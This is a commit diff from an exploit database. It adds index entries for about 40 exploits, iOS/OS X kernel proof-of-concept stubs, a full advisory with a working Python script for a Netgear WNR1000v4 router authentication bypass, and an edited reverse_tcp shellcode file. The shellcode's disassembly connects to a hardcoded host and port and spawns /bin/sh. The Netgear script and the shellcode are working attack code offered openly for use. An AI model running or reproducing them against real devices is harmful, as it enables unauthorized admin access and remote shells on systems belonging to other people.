DB: 2016-01-29
40 new exploits
This commit is contained in:
parent
a5b96c2067
commit
958f5c3f9d
42 changed files with 3622 additions and 116 deletions
44
files.csv
44
files.csv
|
@ -34935,6 +34935,7 @@ id,file,description,date,author,platform,type,port
|
|||
38655,platforms/asp/webapps/38655.txt,"Corda .NET Redirector 'redirector.corda' Cross Site Scripting Vulnerability",2013-07-12,"Adam Willard",asp,webapps,0
|
||||
38656,platforms/php/webapps/38656.html,"PrestaShop Multiple Cross Site Request Forgery Vulnerabilities",2013-07-11,"EntPro Cyber Security Research Group",php,webapps,0
|
||||
38657,platforms/hardware/webapps/38657.html,"Arris TG1682G Modem - Stored XSS Vulnerability",2015-11-09,Nu11By73,hardware,webapps,0
|
||||
39374,platforms/osx/dos/39374.c,"OS X Kernel - IOAccelMemoryInfoUserClient Use-After-Free",2016-01-28,"Google Security Research",osx,dos,0
|
||||
38659,platforms/windows/dos/38659.py,"POP Peeper 4.0.1 - SEH Over-Write",2015-11-09,Un_N0n,windows,dos,0
|
||||
38660,platforms/php/remote/38660.rb,"Wordpress Ajax Load More PHP Upload Vulnerability",2015-11-09,metasploit,php,remote,0
|
||||
38661,platforms/php/webapps/38661.txt,"TestLink 1.9.14 - CSRF Vulnerability",2015-11-09,"Aravind C Ajayan, Balagopal N",php,webapps,0
|
||||
|
@ -35454,6 +35455,7 @@ id,file,description,date,author,platform,type,port
|
|||
39198,platforms/php/webapps/39198.html,"User Cake Cross Site Request Forgery Vulnerability",2014-05-25,"Dolev Farhi",php,webapps,0
|
||||
39199,platforms/python/webapps/39199.html,"Pyplate 'addScript.py' Cross Site Request Forgery Vulnerability",2014-05-23,"Henri Salo",python,webapps,0
|
||||
39200,platforms/php/webapps/39200.txt,"PHP-Nuke 'Submit_News' Component SQL Injection Vulnerability",2014-05-24,"ali ahmady",php,webapps,0
|
||||
39373,platforms/osx/dos/39373.c,"OS X Kernel - no-more-senders Use-After-Free",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39202,platforms/php/webapps/39202.txt,"WP Symposium Pro Social Network Plugin 15.12 - Multiple Vulnerabilities",2016-01-08,"Rahul Pratap Singh",php,webapps,0
|
||||
39203,platforms/lin_x86-64/shellcode/39203.c,"x86_64 Linux Egghunter - 18 bytes",2016-01-08,"Sathish kumar",lin_x86-64,shellcode,0
|
||||
39204,platforms/lin_x86/shellcode/39204.c,"Linux x86 - Egg-hunter (13 bytes)",2016-01-08,"Dennis 'dhn' Herrmann",lin_x86,shellcode,0
|
||||
|
@ -35510,6 +35512,8 @@ id,file,description,date,author,platform,type,port
|
|||
39261,platforms/php/webapps/39261.txt,"Advanced Electron Forum 1.0.9 - CSRF Vulnerabilities",2016-01-18,hyp3rlinx,php,webapps,80
|
||||
39262,platforms/php/webapps/39262.txt,"Advanced Electron Forum 1.0.9 - Persistent XSS Vulnerabilities",2016-01-18,hyp3rlinx,php,webapps,80
|
||||
39263,platforms/php/webapps/39263.txt,"Advanced Electron Forum 1.0.9 - RFI / CSRF Vulnerability",2016-01-18,hyp3rlinx,php,webapps,80
|
||||
39371,platforms/osx/dos/39371.c,"OS X - IOBluetoothHCIPacketLogUserClient Memory Corruption",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39372,platforms/osx/dos/39372.c,"OS X - IOBluetoothHCIUserClient Arbitrary Kernel Code Execution",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39266,platforms/php/webapps/39266.txt,"SeaWell Networks Spectrum - Multiple Vulnerabilities",2016-01-18,"Karn Ganeshen",php,webapps,443
|
||||
39267,platforms/php/webapps/39267.html,"Ilya Birman E2 '/@actions/comment-process' SQL Injection Vulnerability",2014-07-23,"High-Tech Bridge",php,webapps,0
|
||||
39268,platforms/php/webapps/39268.java,"Ubiquiti Networks UniFi Video Default 'crossdomain.xml' Security Bypass Vulnerability",2014-07-23,"Seth Art",php,webapps,0
|
||||
|
@ -35549,6 +35553,7 @@ id,file,description,date,author,platform,type,port
|
|||
39304,platforms/php/webapps/39304.txt,"WordPress W3 Total Cache Plugin 'admin.php' Cross Site Request Forgery Vulnerability",2014-09-08,Voxel@Night,php,webapps,0
|
||||
39305,platforms/freebsd/dos/39305.py,"FreeBSD SCTP ICMPv6 Error Processing Vulnerability",2016-01-25,ptsecurity,freebsd,dos,0
|
||||
39306,platforms/php/webapps/39306.html,"pfSense Firewall <= 2.2.5 - Config File CSRF",2016-01-25,"Aatif Shahdad",php,webapps,443
|
||||
39375,platforms/osx/dos/39375.c,"OS X Kernel - IOAccelDisplayPipeUserClient2 Use-After-Free",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39308,platforms/linux/dos/39308.c,"Linux Kernel - prima WLAN Driver Heap Overflow",2016-01-25,"Shawn the R0ck",linux,dos,0
|
||||
39309,platforms/php/webapps/39309.txt,"Wordpress Booking Calendar Contact Form Plugin <=1.1.23 - Unauthenticated SQL injection",2016-01-25,"i0akiN SEC-LABORATORY",php,webapps,80
|
||||
39310,platforms/windows/local/39310.txt,"Windows - Sandboxed Mount Reparse Point Creation Mitigation Bypass Redux 2 (MS16-008)",2016-01-25,"Google Security Research",windows,local,0
|
||||
|
@ -35577,10 +35582,45 @@ id,file,description,date,author,platform,type,port
|
|||
39333,platforms/php/webapps/39333.html,"WordPress Elegance Theme 'elegance/lib/scripts/dl-skin.php' Local File Disclosure Vulnerability",2014-06-08,"Felipe Andrian Peixoto",php,webapps,0
|
||||
39334,platforms/java/webapps/39334.txt,"Yealink VoIP Phones '/servlet' HTTP Response Splitting Vulnerability",2014-06-12,"Jesus Oquendo",java,webapps,0
|
||||
39335,platforms/ios/webapps/39335.txt,"Secure Item Hub 1.0 iOS - Multiple Vulnerabilities",2016-01-27,Vulnerability-Lab,ios,webapps,8080
|
||||
39336,platforms/linux/shellcode/39336.c,"Linux x86/x86_64 tcp_bind Shellcode",2016-01-27,B3mB4m,linux,shellcode,0
|
||||
39337,platforms/linux/shellcode/39337.c,"Linux x86/x86_64 tcp_bind Shellcode #2",2016-01-27,B3mB4m,linux,shellcode,0
|
||||
39336,platforms/linux/shellcode/39336.c,"Linux x86/x86_64 reverse_tcp Shellcode",2016-01-27,B3mB4m,linux,shellcode,0
|
||||
39353,platforms/windows/dos/39353.txt,"VLC Media Player 2.2.1 - .mp4 Heap Memory Corruption",2016-01-28,"Francis Provencher",windows,dos,0
|
||||
39337,platforms/linux/shellcode/39337.c,"Linux x86/x86_64 tcp_bind Shellcode",2016-01-27,B3mB4m,linux,shellcode,0
|
||||
39338,platforms/linux/shellcode/39338.c,"Linux x86/x86_64 Read etc/passwd Shellcode",2016-01-27,B3mB4m,linux,shellcode,0
|
||||
39339,platforms/php/webapps/39339.txt,"BK Mobile jQuery CMS 2.4 - Multiple Vulnerabilities",2016-01-27,"Rahul Pratap Singh",php,webapps,80
|
||||
39340,platforms/android/local/39340.cpp,"Android sensord Local Root Exploit",2016-01-27,s0m3b0dy,android,local,0
|
||||
39341,platforms/php/webapps/39341.txt,"WordPress Booking Calendar Contact Form <=1.1.24 - Multiple Vulnerabilities",2016-01-27,"i0akiN SEC-LABORATORY",php,webapps,80
|
||||
39342,platforms/php/webapps/39342.txt,"WordPress Booking Calendar Contact Form<=1.1.24 - addslashes SQL Injection Vulnerability",2016-01-27,"i0akiN SEC-LABORATORY",php,webapps,80
|
||||
39343,platforms/php/webapps/39343.txt,"ol-commerce /OL-Commerce/affiliate_signup.php a_country Parameter SQL Injection",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39344,platforms/php/webapps/39344.txt,"ol-commerce /OL-Commerce/affiliate_show_banner.php affiliate_banner_id Parameter SQL Injection",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39345,platforms/php/webapps/39345.txt,"ol-commerce /OL-Commerce/create_account.php country Parameter SQL Injection",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39346,platforms/php/webapps/39346.txt,"ol-commerce /OL-Commerce/admin/create_account.php entry_country_id Parameter SQL Injection",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39347,platforms/php/webapps/39347.txt,"Fonality trixbox /maint/modules/endpointcfg/endpoint_generic.php mac Parameter SQL Injection",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39348,platforms/php/webapps/39348.txt,"Fonality trixbox /maint/modules/home/index.php lang Parameter Path Traversal Remote File Access",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39349,platforms/php/webapps/39349.txt,"Fonality trixbox /maint/modules/asterisk_info/asterisk_info.php lang Parameter Path Traversal Remote File Access",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39350,platforms/php/webapps/39350.txt,"Fonality trixbox /maint/modules/repo/repo.php lang Parameter Path Traversal Remote File Access",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39351,platforms/php/webapps/39351.txt,"Fonality trixbox /maint/modules/endpointcfg/endpointcfg.php lang Path Traversal Remote File Access",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39352,platforms/php/webapps/39352.txt,"Fonality trixbox /var/www/html/maint/modules/home/index.php lang Parameter Remote Code Execution",2014-07-17,"AtT4CKxT3rR0r1ST ",php,webapps,0
|
||||
39354,platforms/php/webapps/39354.pl,"Ramui Forum Script 9.0 - SQL Injection Exploit",2016-01-28,bd0rk,php,webapps,80
|
||||
39355,platforms/php/webapps/39355.txt,"Ramui Web Hosting Directory Script 4.0 - Remote File Inclusion",2016-01-28,bd0rk,php,webapps,80
|
||||
39356,platforms/hardware/webapps/39356.py,"Netgear WNR1000v4 - Authentication Bypass",2016-01-28,"Daniel Haake",hardware,webapps,80
|
||||
39357,platforms/osx/dos/39357.txt,"iOS/OS X - Unsandboxable Kernel Code Exection Due to iokit Double Release in IOKit",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39358,platforms/multiple/dos/39358.txt,"iOS/OS X - Multiple Kernel Uninitialized Variable Bugs Leading to Code Execution",2016-01-28,"Google Security Research",multiple,dos,0
|
||||
39359,platforms/ios/dos/39359.txt,"iOS Kernel - AppleOscarGyro Use-After-Free",2016-01-28,"Google Security Research",ios,dos,0
|
||||
39360,platforms/ios/dos/39360.txt,"iOS Kernel - AppleOscarAccelerometer Use-After-Free",2016-01-28,"Google Security Research",ios,dos,0
|
||||
39361,platforms/ios/dos/39361.txt,"iOS Kernel - AppleOscarCompass Use-After-Free",2016-01-28,"Google Security Research",ios,dos,0
|
||||
39362,platforms/ios/dos/39362.txt,"iOS Kernel - AppleOscarCMA Use-After-Free",2016-01-28,"Google Security Research",ios,dos,0
|
||||
39363,platforms/ios/dos/39363.txt,"iOS Kernel - IOHIDEventService Use-After-Free",2016-01-28,"Google Security Research",ios,dos,0
|
||||
39364,platforms/ios/dos/39364.txt,"iOS Kernel - IOReportHub Use-After-Free",2016-01-28,"Google Security Research",ios,dos,0
|
||||
39365,platforms/multiple/dos/39365.c,"OS X and iOS Kernel - IOHDIXControllUserClient::clientClose Use-After-Free/Double Free",2016-01-28,"Google Security Research",multiple,dos,0
|
||||
39366,platforms/multiple/dos/39366.c,"OS X and iOS Kernel - iokit Registry Iterator Manipulation Double Free",2016-01-28,"Google Security Research",multiple,dos,0
|
||||
39367,platforms/osx/dos/39367.c,"OSX - io_service_close Use-After-Free",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39368,platforms/osx/dos/39368.c,"OS X - gst_configure Kernel Buffer Overflow",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39369,platforms/osx/dos/39369.c,"OS X - IntelAccelerator::gstqConfigure Exploitable Kernel NULL Dereference",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39370,platforms/osx/dos/39370.c,"OS X Kernel - Hypervisor Driver Use-After-Free",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39376,platforms/osx/dos/39376.c,"OS X - IOSCSIPeripheralDeviceType00 Userclient Type 12 Exploitable Kernel NULL Dereference",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39377,platforms/multiple/dos/39377.c,"OS X and iOS Unsandboxable Kernel Use-After-Free in Mach Vouchers",2016-01-28,"Google Security Research",multiple,dos,0
|
||||
39378,platforms/multiple/dos/39378.c,"iOS and OS X - NECP System Control Socket Packet Parsing Kernel Code Execution Integer Overflow",2016-01-28,"Google Security Research",multiple,dos,0
|
||||
39379,platforms/multiple/dos/39379.txt,"iOS and OS X Kernel - Double-Delete IOHIDEventQueue::start Code Execution",2016-01-28,"Google Security Research",multiple,dos,0
|
||||
39380,platforms/osx/dos/39380.c,"OS X - OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient Exploitable NULL Dereference",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39381,platforms/osx/dos/39381.c,"OS X - IOHDIXControllerUserClient::convertClientBuffer Integer Overflow",2016-01-28,"Google Security Research",osx,dos,0
|
||||
39382,platforms/multiple/webapps/39382.txt,"SAP HANA 1.00.095 - hdbindexserver Memory Corruption",2016-01-28,ERPScan,multiple,webapps,0
|
||||
|
|
Can't render this file because it is too large.
|
95
platforms/hardware/webapps/39356.py
Executable file
95
platforms/hardware/webapps/39356.py
Executable file
|
@ -0,0 +1,95 @@
|
|||
'''
|
||||
# Exploit Title: Netgear_WNR1000v4_AuthBypass
|
||||
# Google Dork: -
|
||||
# Date: 06.10.2015
|
||||
# Exploit Author: Daniel Haake
|
||||
# Vendor Homepage: http://www.netgear.com/
|
||||
# Software Link: http://downloadcenter.netgear.com/en/product/WNR1000v4
|
||||
# Version: N300 router firmware versions 1.1.0.24 - 1.1.0.31
|
||||
# Tested on: Can be exploited using a browser
|
||||
# CVE : requested
|
||||
|
||||
|
||||
Introduction:
|
||||
-------------
|
||||
Multiple NETGEAR wireless routers are out of the box vulnerable
|
||||
to an authentication bypass attack. No router options has to
|
||||
be changed to exploit the issue. So an attacker can access the administration
|
||||
interface of the router without submitting any valid username and
|
||||
password, just by requesting a special URL several times.
|
||||
|
||||
|
||||
Affected:
|
||||
---------
|
||||
- Router Firmware: N300_1.1.0.31_1.0.1.img
|
||||
- Router Firmware; N300-1.1.0.28_1.0.1.img
|
||||
- Router Firmware; N300-1.1.0.24_1.0.1.img
|
||||
- tested and confirmed on the WNR1000v4 Router with both firmwares
|
||||
- other products may also be vulnerable because the firmware is used in multiple devices
|
||||
|
||||
|
||||
Technical Description:
|
||||
----------------------
|
||||
The attacker can exploit the issue by using a browser or writing a simple exploit.
|
||||
1. When a user wants to access the web interface, a http basic authentication login process is initiated
|
||||
2. If he does not know the username and password he gets redirected to the 401_access_denied.htm file
|
||||
3. An attacker now has to call the URL http://<ROUTER-IP>/BRS_netgear_success.html multiple times
|
||||
-> After that if he can access the administration web interface and there is no username/password prompt
|
||||
|
||||
|
||||
Example Python script:
|
||||
----------------------
|
||||
'''
|
||||
|
||||
import os
|
||||
import urllib2
|
||||
import time
|
||||
import sys
|
||||
|
||||
try:
|
||||
first = urllib2.urlopen("http://" + sys.argv[1])
|
||||
print "No password protection!"
|
||||
except:
|
||||
print "Password protection detected!"
|
||||
print "Executing exploit..."
|
||||
for i in range(0,3):
|
||||
time.sleep(1)
|
||||
urllib2.urlopen("http://" + sys.argv[1] + "/BRS_netgear_success.html")
|
||||
|
||||
second = urllib2.urlopen("http://" + sys.argv[1])
|
||||
if second.getcode() == 200:
|
||||
print "Bypass successfull. Now use your browser to have a look at the admin interface."
|
||||
|
||||
'''
|
||||
Workaround/Fix:
|
||||
---------------
|
||||
None so far. A patch already fixing this vulnerability was developed by Netgear but not released so far
|
||||
(see timeline below).
|
||||
|
||||
|
||||
Timeline:
|
||||
---------
|
||||
Vendor Status: works on patch-release
|
||||
'''
|
||||
21.07.2015: Vendor notified per email (security@netgear.com)
|
||||
-> No response
|
||||
23.07.2015: Vendor notified via official chat support
|
||||
24.07.2015: Support redirected notification to the technical team
|
||||
29.07.2015: Requested status update and asked if they need further assistance
|
||||
-> No response
|
||||
21.08.2015: Notified vendor that we will go full disclosure within 90 days if they do not react
|
||||
03.09.2015: Support again said that they will redirect it to the technical team
|
||||
03.09.2015: Netgear sent some beta firmware version to look if the vulnerability is fixed
|
||||
03.09.2015: Confirmed to Netgear that the problem is solved in this version
|
||||
Asked Netgear when they plan to release the firmware with this security fix
|
||||
11.09.2015: Response from Netgear saying they will not disclose the patch release day
|
||||
15.09.2015: Asked Netgear again when they plan to publish the security fix for the second time
|
||||
-> No response
|
||||
29.09.2015: Full disclosure of this vulnerability by SHELLSHOCK LABS
|
||||
06.10.2015: Forced public release of this advisory to follow up on [2]
|
||||
|
||||
|
||||
References:
|
||||
-----------
|
||||
[1] http://support.netgear.com/product/WNR1000v4
|
||||
[2] http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html
|
10
platforms/ios/dos/39359.txt
Executable file
10
platforms/ios/dos/39359.txt
Executable file
|
@ -0,0 +1,10 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=608
|
||||
|
||||
Panic log attached
|
||||
|
||||
OS X advisory: https://support.apple.com/en-us/HT205731
|
||||
iOS advisory: https://support.apple.com/en-us/HT205732
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39359.zip
|
||||
|
11
platforms/ios/dos/39360.txt
Executable file
11
platforms/ios/dos/39360.txt
Executable file
|
@ -0,0 +1,11 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=607
|
||||
|
||||
Panic log attached
|
||||
|
||||
OS X advisory: https://support.apple.com/en-us/HT205731
|
||||
iOS advisory: https://support.apple.com/en-us/HT205732
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39360.zip
|
||||
|
11
platforms/ios/dos/39361.txt
Executable file
11
platforms/ios/dos/39361.txt
Executable file
|
@ -0,0 +1,11 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=606
|
||||
|
||||
Panic log attached
|
||||
|
||||
OS X advisory: https://support.apple.com/en-us/HT205731
|
||||
iOS advisory: https://support.apple.com/en-us/HT205732
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39361.zip
|
||||
|
11
platforms/ios/dos/39362.txt
Executable file
11
platforms/ios/dos/39362.txt
Executable file
|
@ -0,0 +1,11 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=605
|
||||
|
||||
Panic log attached
|
||||
|
||||
OS X advisory: https://support.apple.com/en-us/HT205731
|
||||
iOS advisory: https://support.apple.com/en-us/HT205732
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39362.zip
|
||||
|
11
platforms/ios/dos/39363.txt
Executable file
11
platforms/ios/dos/39363.txt
Executable file
|
@ -0,0 +1,11 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=604
|
||||
|
||||
Panic log attached
|
||||
|
||||
OS X advisory: https://support.apple.com/en-us/HT205731
|
||||
iOS advisory: https://support.apple.com/en-us/HT205732
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39363.zip
|
||||
|
11
platforms/ios/dos/39364.txt
Executable file
11
platforms/ios/dos/39364.txt
Executable file
|
@ -0,0 +1,11 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=603
|
||||
|
||||
Panic log attached
|
||||
|
||||
OS X advisory: https://support.apple.com/en-us/HT205731
|
||||
iOS advisory: https://support.apple.com/en-us/HT205732
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39364.zip
|
||||
|
|
@ -1,126 +1,127 @@
|
|||
/*
|
||||
[+] Author : B3mB4m
|
||||
[+] Author : B3mB4m
|
||||
[~] Contact : b3mb4m@protonmail.com
|
||||
[~] Project : https://github.com/b3mb4m/Shellsploit
|
||||
[~] Greetz : Bomberman,T-Rex,KnocKout,ZoRLu
|
||||
[~] Greetz : Bomberman,T-Rex,KnocKout,ZoRLu
|
||||
|
||||
|
||||
#If you want test it, you must compile it within x86 OS.
|
||||
#Or basically you can get it with shellsploit.
|
||||
#Default setthings for port:4444 host:192.168.1.29
|
||||
|
||||
00000000 31C0 xor eax,eax
|
||||
00000002 40 inc eax
|
||||
00000003 7448 jz 0x4d
|
||||
00000005 6A66 push byte +0x66
|
||||
00000007 58 pop eax
|
||||
00000008 99 cdq
|
||||
00000009 52 push edx
|
||||
0000000A 42 inc edx
|
||||
0000000B 52 push edx
|
||||
0000000C 89D3 mov ebx,edx
|
||||
0000000E 42 inc edx
|
||||
0000000F 52 push edx
|
||||
00000010 89E1 mov ecx,esp
|
||||
00000012 CD80 int 0x80
|
||||
00000014 93 xchg eax,ebx
|
||||
00000015 89D1 mov ecx,edx
|
||||
00000017 B03F mov al,0x3f
|
||||
00000019 CD80 int 0x80
|
||||
0000001B 49 dec ecx
|
||||
0000001C 79F9 jns 0x17
|
||||
0000001E B066 mov al,0x66
|
||||
00000020 87DA xchg ebx,edx
|
||||
00000022 68C0A8011D push dword 0x1d01a8c0
|
||||
00000027 6668115C push word 0x5c11
|
||||
0000002B 6653 push bx
|
||||
0000002D 43 inc ebx
|
||||
0000002E 89E1 mov ecx,esp
|
||||
00000030 6A10 push byte +0x10
|
||||
00000032 51 push ecx
|
||||
00000033 52 push edx
|
||||
00000034 89E1 mov ecx,esp
|
||||
00000036 CD80 int 0x80
|
||||
00000038 6A0B push byte +0xb
|
||||
0000003A 58 pop eax
|
||||
0000003B 99 cdq
|
||||
0000003C 89D1 mov ecx,edx
|
||||
0000003E 52 push edx
|
||||
0000003F 682F2F7368 push dword 0x68732f2f
|
||||
00000044 682F62696E push dword 0x6e69622f
|
||||
00000049 89E3 mov ebx,esp
|
||||
0000004B CD80 int 0x80
|
||||
0000004D 48 dec eax
|
||||
0000004E 31C0 xor eax,eax
|
||||
00000050 48 dec eax
|
||||
00000051 31FF xor edi,edi
|
||||
00000053 48 dec eax
|
||||
00000054 31F6 xor esi,esi
|
||||
00000056 48 dec eax
|
||||
00000057 31D2 xor edx,edx
|
||||
00000059 4D dec ebp
|
||||
0000005A 31C0 xor eax,eax
|
||||
0000005C 6A02 push byte +0x2
|
||||
0000005E 5F pop edi
|
||||
0000005F 6A01 push byte +0x1
|
||||
00000061 5E pop esi
|
||||
00000062 6A06 push byte +0x6
|
||||
00000064 5A pop edx
|
||||
00000065 6A29 push byte +0x29
|
||||
00000067 58 pop eax
|
||||
00000068 0F05 syscall
|
||||
0000006A 49 dec ecx
|
||||
0000006B 89C0 mov eax,eax
|
||||
0000006D 48 dec eax
|
||||
0000006E 31F6 xor esi,esi
|
||||
00000070 4D dec ebp
|
||||
00000071 31D2 xor edx,edx
|
||||
00000073 41 inc ecx
|
||||
00000074 52 push edx
|
||||
00000075 C6042402 mov byte [esp],0x2
|
||||
00000079 66C7442402115C mov word [esp+0x2],0x5c11
|
||||
00000080 C7442404C0A8011D mov dword [esp+0x4],0x1d01a8c0
|
||||
00000088 48 dec eax
|
||||
00000089 89E6 mov esi,esp
|
||||
0000008B 6A10 push byte +0x10
|
||||
0000008D 5A pop edx
|
||||
0000008E 41 inc ecx
|
||||
0000008F 50 push eax
|
||||
00000090 5F pop edi
|
||||
00000091 6A2A push byte +0x2a
|
||||
00000093 58 pop eax
|
||||
00000094 0F05 syscall
|
||||
00000096 48 dec eax
|
||||
00000097 31F6 xor esi,esi
|
||||
00000099 6A03 push byte +0x3
|
||||
0000009B 5E pop esi
|
||||
0000009C 48 dec eax
|
||||
0000009D FFCE dec esi
|
||||
0000009F 6A21 push byte +0x21
|
||||
000000A1 58 pop eax
|
||||
000000A2 0F05 syscall
|
||||
000000A4 75F6 jnz 0x9c
|
||||
000000A6 48 dec eax
|
||||
000000A7 31FF xor edi,edi
|
||||
000000A9 57 push edi
|
||||
000000AA 57 push edi
|
||||
000000AB 5E pop esi
|
||||
000000AC 5A pop edx
|
||||
000000AD 48 dec eax
|
||||
000000AE BF2F2F6269 mov edi,0x69622f2f
|
||||
000000B3 6E outsb
|
||||
000000B4 2F das
|
||||
000000B5 7368 jnc 0x11f
|
||||
000000B7 48 dec eax
|
||||
000000B8 C1EF08 shr edi,byte 0x8
|
||||
000000BB 57 push edi
|
||||
000000BC 54 push esp
|
||||
000000BD 5F pop edi
|
||||
000000BE 6A3B push byte +0x3b
|
||||
000000C0 58 pop eax
|
||||
000000C1 0F05 syscall
|
||||
00000000 31C0 xor eax,eax
|
||||
00000002 40 inc eax
|
||||
00000003 7448 jz 0x4d
|
||||
00000005 6A66 push byte +0x66
|
||||
00000007 58 pop eax
|
||||
00000008 99 cdq
|
||||
00000009 52 push edx
|
||||
0000000A 42 inc edx
|
||||
0000000B 52 push edx
|
||||
0000000C 89D3 mov ebx,edx
|
||||
0000000E 42 inc edx
|
||||
0000000F 52 push edx
|
||||
00000010 89E1 mov ecx,esp
|
||||
00000012 CD80 int 0x80
|
||||
00000014 93 xchg eax,ebx
|
||||
00000015 89D1 mov ecx,edx
|
||||
00000017 B03F mov al,0x3f
|
||||
00000019 CD80 int 0x80
|
||||
0000001B 49 dec ecx
|
||||
0000001C 79F9 jns 0x17
|
||||
0000001E B066 mov al,0x66
|
||||
00000020 87DA xchg ebx,edx
|
||||
00000022 68C0A8011D push dword 0x1d01a8c0
|
||||
00000027 6668115C push word 0x5c11
|
||||
0000002B 6653 push bx
|
||||
0000002D 43 inc ebx
|
||||
0000002E 89E1 mov ecx,esp
|
||||
00000030 6A10 push byte +0x10
|
||||
00000032 51 push ecx
|
||||
00000033 52 push edx
|
||||
00000034 89E1 mov ecx,esp
|
||||
00000036 CD80 int 0x80
|
||||
00000038 6A0B push byte +0xb
|
||||
0000003A 58 pop eax
|
||||
0000003B 99 cdq
|
||||
0000003C 89D1 mov ecx,edx
|
||||
0000003E 52 push edx
|
||||
0000003F 682F2F7368 push dword 0x68732f2f
|
||||
00000044 682F62696E push dword 0x6e69622f
|
||||
00000049 89E3 mov ebx,esp
|
||||
0000004B CD80 int 0x80
|
||||
0000004D 48 dec eax
|
||||
0000004E 31C0 xor eax,eax
|
||||
00000050 48 dec eax
|
||||
00000051 31FF xor edi,edi
|
||||
00000053 48 dec eax
|
||||
00000054 31F6 xor esi,esi
|
||||
00000056 48 dec eax
|
||||
00000057 31D2 xor edx,edx
|
||||
00000059 4D dec ebp
|
||||
0000005A 31C0 xor eax,eax
|
||||
0000005C 6A02 push byte +0x2
|
||||
0000005E 5F pop edi
|
||||
0000005F 6A01 push byte +0x1
|
||||
00000061 5E pop esi
|
||||
00000062 6A06 push byte +0x6
|
||||
00000064 5A pop edx
|
||||
00000065 6A29 push byte +0x29
|
||||
00000067 58 pop eax
|
||||
00000068 0F05 syscall
|
||||
0000006A 49 dec ecx
|
||||
0000006B 89C0 mov eax,eax
|
||||
0000006D 48 dec eax
|
||||
0000006E 31F6 xor esi,esi
|
||||
00000070 4D dec ebp
|
||||
00000071 31D2 xor edx,edx
|
||||
00000073 41 inc ecx
|
||||
00000074 52 push edx
|
||||
00000075 C6042402 mov byte [esp],0x2
|
||||
00000079 66C7442402115C mov word [esp+0x2],0x5c11
|
||||
00000080 C7442404C0A8011D mov dword [esp+0x4],0x1d01a8c0
|
||||
00000088 48 dec eax
|
||||
00000089 89E6 mov esi,esp
|
||||
0000008B 6A10 push byte +0x10
|
||||
0000008D 5A pop edx
|
||||
0000008E 41 inc ecx
|
||||
0000008F 50 push eax
|
||||
00000090 5F pop edi
|
||||
00000091 6A2A push byte +0x2a
|
||||
00000093 58 pop eax
|
||||
00000094 0F05 syscall
|
||||
00000096 48 dec eax
|
||||
00000097 31F6 xor esi,esi
|
||||
00000099 6A03 push byte +0x3
|
||||
0000009B 5E pop esi
|
||||
0000009C 48 dec eax
|
||||
0000009D FFCE dec esi
|
||||
0000009F 6A21 push byte +0x21
|
||||
000000A1 58 pop eax
|
||||
000000A2 0F05 syscall
|
||||
000000A4 75F6 jnz 0x9c
|
||||
000000A6 48 dec eax
|
||||
000000A7 31FF xor edi,edi
|
||||
000000A9 57 push edi
|
||||
000000AA 57 push edi
|
||||
000000AB 5E pop esi
|
||||
000000AC 5A pop edx
|
||||
000000AD 48 dec eax
|
||||
000000AE BF2F2F6269 mov edi,0x69622f2f
|
||||
000000B3 6E outsb
|
||||
000000B4 2F das
|
||||
000000B5 7368 jnc 0x11f
|
||||
000000B7 48 dec eax
|
||||
000000B8 C1EF08 shr edi,byte 0x8
|
||||
000000BB 57 push edi
|
||||
000000BC 54 push esp
|
||||
000000BD 5F pop edi
|
||||
000000BE 6A3B push byte +0x3b
|
||||
000000C0 58 pop eax
|
||||
000000C1 0F05 syscall
|
||||
*/
|
||||
|
||||
|
||||
//Project : https://github.com/b3mb4m/Shellsploit
|
||||
//This file created with shellsploit ..
|
||||
//19/01/2016 - 00:39:58
|
||||
|
@ -130,5 +131,5 @@ unsigned char shellcode[] =
|
|||
